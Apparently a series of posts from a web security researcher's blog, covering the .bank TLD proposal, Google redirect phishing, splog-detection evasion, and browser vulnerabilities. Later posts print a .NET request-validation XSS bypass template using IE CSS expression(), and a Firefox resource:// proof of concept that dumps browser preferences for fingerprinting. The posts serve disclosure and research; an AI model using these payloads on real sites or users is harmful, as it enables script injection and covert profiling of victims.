I suppose I should probably weigh on on my feelings on the .bank TLD proposal. I kept my tongue hoping that someone would come out and explain what they thought it would solve, and I’m glad I did. Mikko from F-Secure finally published a writeup on why it should go through to ICANN. It was actually a pretty well thought out reply. I’m not going to summarize the post - go read it and come back, I’ll wait.

Now that you’ve read it, here are my thoughts. Yes, .bank will solve some heuristics problems. No, it won’t solve all of them. Banks hiring external marketing departments, regional divisions, loan offices, etc… etc… that all are owned by the parent will not be able to afford their own .bank TLD and will not be protected. Piggybacking off the parent URL is an equally bad idea for XSS phishing attacks. And if the banks allowed external organizations to piggyback how wold that solve your problem of extended validation of the site? Anyone have any guess as to how much money external marketing companies spend on server sercurity? Anyway, it does solve a few issues for heuristics, but it also creates a lot more. (Does this sound at all like why companies were told to buy EV certs? Has that worked for them? Why are we doing this twice?)

Banks have spent a lot of time and energy into making online presences. They can’t switch over to a new TLD on a dime. Sure, they will because they are told it’s the right thing to do, but it’s certainly not an overnight process. How much money are they going to spend buying the domains, re-tooling their websites, re-branding them and re-educating their own staff and their customers?

.bank does not apply to some of the most heavily phished sites out there, like Amazon, eBay, PayPal, AOL, MySpace and a host of credit unions. I see where they are going with this, but it’s a slippery slope. Just because you get phished a lot doesn’t earn you the right to have a .bank TLD (because that is the exclusive domain of banks, of course). While it may earn you a right to have a .dontphishme TLD every site on earth that does electronic transactions is going to want that.

Probably my biggest problem with this, is that these companies each spend a ton of money in education, and promoting their brand. For them to switch their TLD would work against all those dollars spent, and ultimately wouldn’t prevent blind redirects, XSS phishing, or just plain old URL obfuscation. Yes, it would make detection slightly easier, but by how much? An order of magnitude? I highly doubt it, and even if it did, is the problem not being able to detect the phishing sites well or is our problem not being able to take them down quickly enough? I think it’s the latter, and I don’t think a .bank TLD or any other derivative is going to solve that issue.

While I applaud the creativity, I really don’t think it does enough to warrant it going through. But I have no doubt where there’s a will there’s a way and it will go through despite my opinions. I know people mean well with these types of proposals, but I think there’s a lot more going on here than just detection. Yes, detection does need to be improved, but there’s tons of ways around detection and phishers have not had resort to that (minus a few experiments).

To me that means we are a long way from having to worry about the detection portion of the attack and if people want to put a dent in it they should instead focus on building better extradition treaties and tougher international cybercrime laws with all countries. Currently it can take days or weeks to get phishing sites taken down because there is no political pressure to do so in certain areas. I believe people would be much better suited in solving the take-down issue than creating a new .TLD that excludes more phished domains than it protects.

This is simply one of the silliest things I’ve heard in a long time. A hacker out of Romania published direct links to an online radio station’s stream and for that they are attempting to sue him. He has a public statement here explaining his feelings on the matter. He didn’t even explain how he did it, but it’s pretty obvious as there are at least a dozen ways of seeing the source of something on the page.

This all goes back to crappy client side security. People for some reason think web page source should be intellectual property and invisible to the user viewing them. How do they think people learn HTML in the first place? They view source and copy what they think is cool or useful. It’s as old as the browser! I feel bad for the radio station - not because they have their content taken in a way they don’t like - but because they got so publicly outed. This is why you should have net savvy lawyers working for you if you have a net presence.

I know I’m really going to kick myself for this one, as it will no doubt come back to haunt me, but I’ve been thinking about this one for a long time. One of the things that Blackhat SEO types do is they attempt to scrape other people’s sites that have original content (such as mine). Then they post that content on their site as their own, attempting to raise their own page-rank. Because the search engines aren’t smart enough to know who is the original author, the sploggers get higher in the page ranks.

One of the tactics to evade them is to deliver unique content to them (a one time token or something of the like) that allows them to see the content, but if they attempt to replay it, the webmaster can tell who it is by going to their lookup table and seeing who scraped them. Often times you can shut them off at the source or do something more evil like I did. But there’s a way around it.

Click to enlarge

If you click on the image you can get an idea of the concept. The concept revolves around using more than one scraper (which is not a new concept - see splog hubs for more details - but that’s only been used to hide the real IP address in the past). The difference between that method and this method is that you use more than one scraper and then validate that the responses are the same. If they are, you’re good, if they aren’t the same (because there is a unique token in the content) the content can be either thrown away or the splogger can attempt to clean it up.

This would make it much harder for sites to protect themselves from sploggers attempting to steal copyrighted materials. So why am I writing this? Because I still have a few tricks up my sleeve to stop sploggers, but I thought it should at least be known that there are ways around some of the more obvious protection mechanisms.

Tuesday the 29th, I’ll be speaking at the OWASP (open web application security project) Austin chapter. If anyone is in the area, apparently it is held at the Whole Foods Market (downtown - plaza level) at 11:30AM-1PM. The topic I’ll be presenting on is “Bullet Proof UI - A programmer’s guide to the complete idiot”. It’s a mostly funny high level talk on why UI is an often overlooked aspect of security, and vice versa - how security is an often overlooked part of UI.

If anyone happens to be in town next week, feel feel to drop by, and listen in. If you can’t make it don’t worry, there’s nothing earth shattering going on, just a fun talk.

This isn’t new, but a few different people sent me a link to how Google is yet again being used for phishing. Don’t trust those Google links! I hate to say I told you so but when Google fixed that one single redirect hole and left the dozens of others in place I warned that this might happen.

When you leave one redirect hole in place it doesn’t matter that you closed another one. It’s a mild annoyance at best to a phisher. So this will continue to be a problem until they are all fixed. People will continue to click on those links and the anti-phishing software will continue to not be able to blacklist them because Google doesn’t like to be blacklisted. Google is plenty happy to warn people not to click on other sites that may contain malware, though (sense some hypocrisy there?).

I’m hoping their executive management wakes up and smells the coffee. It’s something I’ve been saying for over a year now, and we are no closer to having it solved. Worse yet, it’s screwing over the consumers!

Syngress informed us that XSS Exploits has been released. I’ve even heard a few rumors that people have already received their copies in the mail. As Jeremiah mentioned a few of us may make it to Blackhat (I’ll give more information on this later if we get selected). If that happens we will probably do a book signing. I’ve never done one of those, so bring your babies so I can sign their heads or something. That is all.

Sergey Vzloman is at it again… He sent over a really interesting piece of demo code (he tested it in IE6.0 and FF - I was only able to test it in Firefox) that enumerates users on Windows systems. Right now, as the code stands in his demo (with only minor tweaks from me) it only tries four accounts and is intentionally noisy to show what it’s doing, but it works pretty well Click here to see the demo.

Dan Veditz has already commented on this saying the resource:// issue is already fixed in 2.0.0.4 and 1.5.0.12 versions of Firefox. But for now and for previous versions, this will continue to work. It may be a little slow to enumerate users, but if you know it’s one of a few hundred combinations of a user’s name you can quickly enumerate through it.

Of course there are other ways to do this, like get them to connect to you through a file:///\\ URL as discussed before, but it’s good to have all of this documented since one or more of these may stop working. Nice work, Sergey!

I know Arian Evans from Whitehat Security has been working on the .NET request validation bypass that we talked about last month for a while now. He actually went through and mapped it out much further. Here’s his writeup:

So basically here’s the anatomy of this attack vector:

(everything in [brackets] including the brackets represents a variable)

</[html tag]/[escaping/padding]/STYLE=[declaration]:e[escaping/padding]xpression([payload])>

So for the IE exploit vector you have:

1. HTML close tag. The tag is arbitrary.

2. Escaping & padding between the HTML tag and STYLE attribute + between HTML tag and STYLE attribute you need a “/” some padding, any will do (e.g.-%20), and another “/”

3. After the STYLE tag you need an arbitrary declaration; e.g.- “color:” will work, and “a:” will work. And “z:” will work.

4. Then you insert one of IE’s dynamic properties, like expression(). However, this too must be passed/escaped to bypass the .NET request validator.

5. The only escaping I’ve found to work so far, that gets *parsed* by Internet Explorer is /**/ (unlike the above padding between tag and attribute). You can, however, put this anywhere: e/**/expression == expressio/**/n == espre/**/ssion == etc

6. Then of course your javascript payload, e.g. -(window.location=”http://www.whitehatsec.com”) which you can use HTML Hex entity or decimal or whatever IE will parse if you need to slip something by they are filtering on. By default with the request validator you should not need this, but if they do something additional like “:” or URLs, etc., that usually works.

For some reason IE is particular about only reading /**/ for padding/escaping. I fuzzed a subset of metachars; mostly combinations from 2-3 “top rows” and others like colons, periods, etc., and even ones that get by the input filter break the dynamic property so that IE won’t execute it.

Pretty interesting stuff. I think this will all get fixed in the future, but for now it works. I’ve never understood why you can add style attributes to end tags in the first place. Seems superfluous and error prone to me, not to mention murder on filters!

Sergey Vzloman sent me a really interesting proof of concept this morning on how you can read Firefox settings. It dumps all the browser settings into JavaScript space. Here’s the PoC code:

<script>
function pref(param,value){
document.write ("<b>"+param+"</b> = "+value+"")
};
</script>
<script src="resource://gre/greprefs/security-prefs.js"></script>
<script src="resource://gre/greprefs/all.js"></script>

So as you probably would have expected, I did add it to Mr. T (click for an example in Firefox) so that it would be included as well when you’re in the process of doing recon. Very cool, and obviously can be used to know in very fine detail what the user is using and what specialized security settings they may have installed. Tricky. Thanks to Sergey for the code!

I got an email from Mustlive about a new project he is starting up next month. In June, he’s kicking off the Month of Search Engine Bugs. From the website:

Purpose of this Month of Bugs is a demonstration of real state with security in search engines, which are the most popular sites in Internet. To let users of search engines and web community as a whole to understand all risks, which search engines bring to them. And also to draw attention of search engines’ owners to security issues of their sites.

Search engines are one of my favorite things to pick on myself, so I’ll be interested to see what he comes up with. Most of us are all familiar with the Google dorks (queries used to find vulnerable machines) but this is different. One thing that wasn’t made clear is if this is search engine only, or the portals or if it is specifically isolated towards security or not, but it should be interesting to watch.